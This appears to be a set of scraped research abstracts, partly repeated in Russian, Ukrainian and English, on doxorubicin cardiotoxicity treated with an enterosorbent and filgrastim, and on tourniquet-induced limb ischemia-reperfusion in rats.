В то же время наблюдали угнетение звеньев эндогенной антиоксидантной защиты со снижением активности каталазы, супероксиддисмутазы, содержания восстановленного глутатиона во всех исследуемых биологических средах, которое было максимальным преимущественно в тканях сердца. Применение энтеросорбента С2 способствовало восстановлению окислительно-восстановительного баланса. Дополнительное использование филграстима продемонстрировало дальнейшее улучшение исследуемых показателей и статистически достоверно превосходило моноприменение энтеросорбента по уровню ТБК-активных продуктов в тканях сердца, активности каталазы в тканях сердца и сыворотке крови. Вывод. Полученные результаты – основа для дальнейшего изучения возможностей комбинированного применения энтеральной сорбционной терапии и филграстима с целью уменьшения побочных ­эффектов антрациклиновых антибиотиков.Вступ. Антрациклінові антибіотики залишаються одними з найбільш затребуваних протипухлинних лікарських засобів завдяки високій цитотоксичній та протипухлинній активності. Однак протягом багатьох років невирішеною проблемою залишається їх кардіотоксичність та здатність викликати незворотне ушкодження міокарда з розвитком застійної серцевої недостатності з високою летальністю. Мета дослідження – вивчити вплив ентеральної сорбційної терапії та препарату гранулоцитарного колонієстимулювального фактора на показники прооксидантно-антиоксидантної рівноваги в щурів на моделі субхронічної токсичності доксорубіцину. Методи дослідження. Експерименти проводили на статевозрілих щурах-самцях, в яких моделювали субхронічну доксорубіцинову токсичність, а для корекції застосовували гранульований вуглецевий ентеросорбент С2 самостійно та в комбінації з філграстимом. Досліджували показники ТБК-активних продуктів, активність каталази, супероксиддисмутази, вміст відновленого глутатіону в тканинах серця, печінки і сироватці крові, загальну антиокиснювальну активність сироватки кровi. Результати й обговорення. На тлі субхронічної доксорубіцинової токсичності в щурів виявлено порушення прооксидантно-антиоксидантного балансу, яке проявлялося зростанням рівня ТБК-активних продуктів у сироватці крові (у 2,07 раза), тканинах серця (у 2,3 раза) та печінки (в 1,7 раза). Одночасно спостерігали пригнічення ланок ендогенного антиоксидантного захисту зі зниженням активності каталази, супероксиддисмутази, вмісту відновленого глутатіону в усіх досліджуваних біологічних середовищах, яке було максимальним переважно в тканинах серця. Застосування ентеросорбенту С2 сприяло відновленню окисно-відновного балансу. Додаткове використання філграстиму продемонструвало подальше покращення досліджуваних показників і статистично достовірно переважало монозастосування ентеросорбенту за рівнем ТБК-активних продуктів у тканинах серця та активністю каталази в тканинах серця і сироватці крові. Висновок. Отримані результати – підґрунтя для подальшого вивчення можливостей комбінованого застосування ентеральної сорбційної терапії та філграстиму з метою зменшення побічних ефектів антрациклінових антибіотиків

Dynamic of indices of lipid peroxidation and antioxidant protection in muscular tissue and blood serum of rats with acute ischemia-reperfusion

Acute limb ischemia occurs as a result of sudden decrease in its perfusion, which usually occurs during the obturation of the lumen of large arteries due to acute thrombosis or embolism either impaired of vascular patency caused by trauma or compression (including the application of hemostatic tourniquets). In the case of restoration of blood supply to previously ischemic tissues, there is an ischemic-reperfusion syndrome, in which one of the main pathogenetic links of tissue alteration is the activation of lipid peroxidation. The content of diene conjugates, triene conjugates, TBA-active products, superoxide dismutase and catalase in homogenate of the muscle tissue and blood serum of 30 white rats under condition of experimental acute ischemia was determined. Acute ischemia was caused by the application of SWAT (Stretch-Wrap-And-Tuck) rubber bundles on the hind limbs of the animals for 2 hours. It was experimentally found that the maximum increase in the content of diene and triene conjugates in the injured muscle tissue of the animals occurred in the early post-ischemic period on the 2nd hour of reperfusion with a decreaseing on the 1st and 7th day and the subsequent return of indicators in the late postischemic period on the 14th day to the level of control group. The increasing of TBA-active products in the muscle tissue occurred in the first three groups of the rats and peaked in the third group (reperfusion for the 1st day), after which their level decreased in the animals during the late reperfusion period, reaching in the last group on the 14th day of reperfusion indices, close to the values of the control group. The dynamics of activity of superoxide dismutase and catalase in the muscle homogenate were to a large extent similar (as indicated by the strong positive correlation (+0,99) between them), gradually increasing and reaching the maximum on 7th day of the ischemia-reperfusion symdrome. As a result of the experiment, a decreasing in the antioxidant-prooxidant index in all experimental groups of the rats was also observed in the muscle homogenate, which was the most pronounced on the 1st day of ischemia-reperfusion. The comparative analysis of the similar parameters of lipid peroxidation and antioxidant protection in the muscle homogenate and blood serum showed a direct correlation in all the studied pairs. The strong and moderate positive correlation between analogous indices of LPO and AOP in muscle homogenate and blood serum in all five studied pairs indicates similar changes of these indicators at the local and systemic levels

УЛЬТРАСТРУКТУРНІ ЗМІНИ СУДИН ГЕМОМІКРОЦИРКУЛЯТОРНОГО РУСЛА ЗАДНІХ КІНЦІВОК ЩУРІВ ПРИ ГОСТРІЙ ІШЕМІЇ, ВИКЛИКАНІЙ НАКЛАДАННЯМ АРТЕРІАЛЬНОГО ТУРНІКЕТА

Arterial tourniquets are widely used in both military and civil medicine (particularly in the case of limb injuries, arthroplasty and angioplasty). Restoring the blood supply to the limb after removal of the tourniquet can cause ischemic-reperfusion lesions of both the primary ischemic tissues and distant tissues and organs. However, the ultrastructural changes of tissues at the local level by ischemia-reperfusion are in need of deeper study today. The aim of the study – to establish the condition of the haemomicrocirculatory bed of the hind limbs of rats with acute ischemia and subsequent reperfusion caused by the arterial tourniquet application. Materials and Methods. The electron microscopic examination of the blood vessels of the haemomicrocirculatory bed of the skeletal muscles of the hind limbs of 12 rats under experimental acute ischemia was performed. There were 3 intact animals in the control group. Acute ischemia was caused by application of SWAT rubber bands on the hind limbs of animals, 5–6 mm width, at the inguinal fold level within 2 hours under thiopental anesthesia, and reperfusion was modeled by removing the tourniquet. The examination of muscle tissue samples was carried out at the department of histology and embryology, I. Horbachevsky Ternopil National Medical University by using an electron microscope PEM-125K. Results and Discussion. Electron microscopy of the skeletal muscles of the hind limbs of rats revealed in the vessels of the haemomicrocirculatory bed destructively altered hemocapillaries with unequal wall thickness, pronounced oedema of endothelial cells with their protrusion into the lumen of the haemocapillaries, desquamation of single endothelial cells, thickening of the basal membrane, enlarged by oedema perivascular spaces, accumulation of lymphocytes in the paravasal space, appearance of protein and erythrocytes extravasation around the haemocapillaries. Often in the lumen of vessels near the endothelial cells platelets were visualized, indicating the development in the haemocapillaries of microthrombosis near its wall. Ultrastructural changes were observed already within two hours after the removal of the tourniquet and were most pronounced after one day. In the late reperfusion period there was a reverse development of pathological changes, however, even after 14 days of ischemia-reperfusion the complete restoration of ultrastructure of haemomicrocirculatory bed still did not happen. Conclusions. The ultrastructural disorders in vessels of the haemomicrocirculatory bed of ischemic muscular tissue of the hind limbs reached maximal expression in rats one day after the removal of the tourniquet, confirming the development in experimental animals of ischemic-reperfusion syndrome. In the later reperfusion period there was a reverse development of pathological changes.Артериальные турникеты широко используются как в военной, так и в гражданской медицине (в частности при ранении конечностей, артро- и ангиопластике). Восстановление кровоснабжения конечности после снятия турникета может вызвать ишемически-реперфузионные поражения как первично ишемизированных тканей, так и в отдаленных тканях и органах. Однако на сегодняшний день требуют более глубокого изучения ультраструктурные изменения тканей на местном уровне при ишемии-реперфузии. Цель работы – исследовать состояние гемомикроциркуляторного русла задних конечностей крыс при острой ишемии и последующей реперфузии, вызванной наложением артериального турникета. Материалы и методы. Было проведено электронномикроскопическое исследование сосудов гемомикроциркуляторного русла скелетных мышц задних конечностей 12 крыс в условиях экспериментальной острой ишемии. Контрольную группу составили 3 интактных животных. Острую ишемию вызывали путем наложения резиновых жгутов SWAT шириной 5–6&nbsp;мм на задние конечности животных на уровне паховой складки в течение 2&nbsp;ч под тиопентал-натриевым обезболиванием, а реперфузию моделировали путем снятия турникета. Исследование образцов мышечной ткани проводилось на кафедре гистологии и эмбриологии Тернопольского национального медицинского университета имени И.&nbsp;Я.&nbsp;Горбачевского с помощью электронного микроскопа ПЕМ–125К. Результаты и их обсуждение. При электронной микроскопии скелетных мышц задних конечностей крыс в сосудах гемомикроциркуляторного русла обнаружены деструктивно измененные гемокапилляры со стенками неодинаковой толщины, выраженный отек эндотелиоцитов с пролабированием их в просвет гемокапилляров, десквамация отдельных эндотелиоцитов, утолщение базальной мембраны, расширенные вследствие отека периваскулярных пространств, скопление лимфоцитов в паравазальном пространстве, возникновение белковых и эритроцитарных экстравазатов вокруг гемокапилляров. Нередко в просвете сосудов вблизи эндотелиоцитов визуализировались тромбоциты, что свидетельствует о развитии в гемокапиллярах пристеночного микротромбоза. Ультраструктурные изменения наблюдались уже через 2 часа после снятия турникета и были более выраженными через 1 сутки. В позднем реперфузионном периоде происходило обратное развитие патологических изменений, однако даже через 14 суток реперфузии полного восстановления ультраструктуры гемомикроциркуляторного русла все еще не происходило. Выводы. Ультраструктурные нарушения в сосудах гемомикроциркуляторного русла ишемизированной мышечной ткани задних конечностей крыс достигали максимальной выраженности через 1 сутки после снятия турникета, что подтверждает развитие у экспериментальных животных ишемически-реперфузионного синдрома. В позднем реперфузионном периоде происходило обратное развитие патологических изменений.Артеріальні турнікети широко використовуються як у військовій, так і в цивільній медицині (при пораненні кінцівок, артро- та ангіопластиках). Відновлення кровопостачання кінцівки після зняття турнікета може викликати ішемічно-реперфузійні ураження як первинно ішемізованих тканин, так і у віддалених тканинах та органах. Проте на сьогоднішній день ультраструктурні зміни тканин на місцевому рівні при ішемії-реперфузії потребують більш глибокого вивчення. Мета роботи – дослідити стан гемомікроциркуляторного русла задніх кінцівок щурів при гострій ішемії та наступній реперфузії, викликаній накладанням артеріального турнікета. Матеріал і методи. Проведено електронномікроскопічне дослідження судин гемомікроциркуляторного русла скелетних м’язів задніх кінцівок 12 щурів за умов експериментальної гострої ішемії. Контрольну групу склали 3&nbsp;інтактних тварини. Гостру ішемію викликали шляхом накладання гумових джгутів SWAT шириною 5–6&nbsp;мм на задні кінцівки тварин, на рівні пахвинної складки, протягом 2&nbsp;год під тіопентал-натрієвим знеболюванням, а реперфузію моделювали шляхом зняття турнікета. Дослідження зразків м’язової тканини проводили на кафедрі гістології та ембріології Тернопільського національного медичного університету імені І.&nbsp;Я.&nbsp;Горбачевського за допомогою електронного мікроскопа ПЕМ–125К. Результати. При електронній мікроскопії скелетних м’язів задніх кінцівок щурів у судинах гемомікроциркуляторного русла виявлено деструктивно змінені гемокапіляри з неоднаковою товщиною стінки, виражений набряк ендотеліоцитів із пролабуванням їх у просвіт гемокапілярів, десквамацію окремих ендотеліоцитів, потовщення базальної мембрани, розширені набряком периваскулярні простори, скупчення лімфоцитів у паравазальному просторі, появу білкових та еритроцитарних екстравазатів довкола гемокапілярів. Нерідко в просвіті судин поблизу ендотеліоцитів візуалізувалися тромбоцити, що свідчить про розвиток у гемокапілярах пристінкового мікротромбозу. Ультраструктурні зміни спостерігались вже через 2 години після зняття турнікета і були найбільше вираженими через 1 добу. У пізньому реперфузійному періоді відбувався зворотний розвиток патологічних змін, проте навіть через 14 діб реперфузії повного відновлення ультраструктури гемомікроциркуляторного русла все ще не відбувалося. Висновки. Ультраструктурні порушення в судинах гемомікроциркуляторного русла ішемізованої м’язової тканини задніх кінцівок щурів досягали максимальної вираженості через 1 добу після зняття турнікета, що підтверджує розвиток у експериментальних тварин ішемічно-реперфузійного синдрому. У пізньому реперфузійному періоді відбувався зворотний розвиток патологічних змін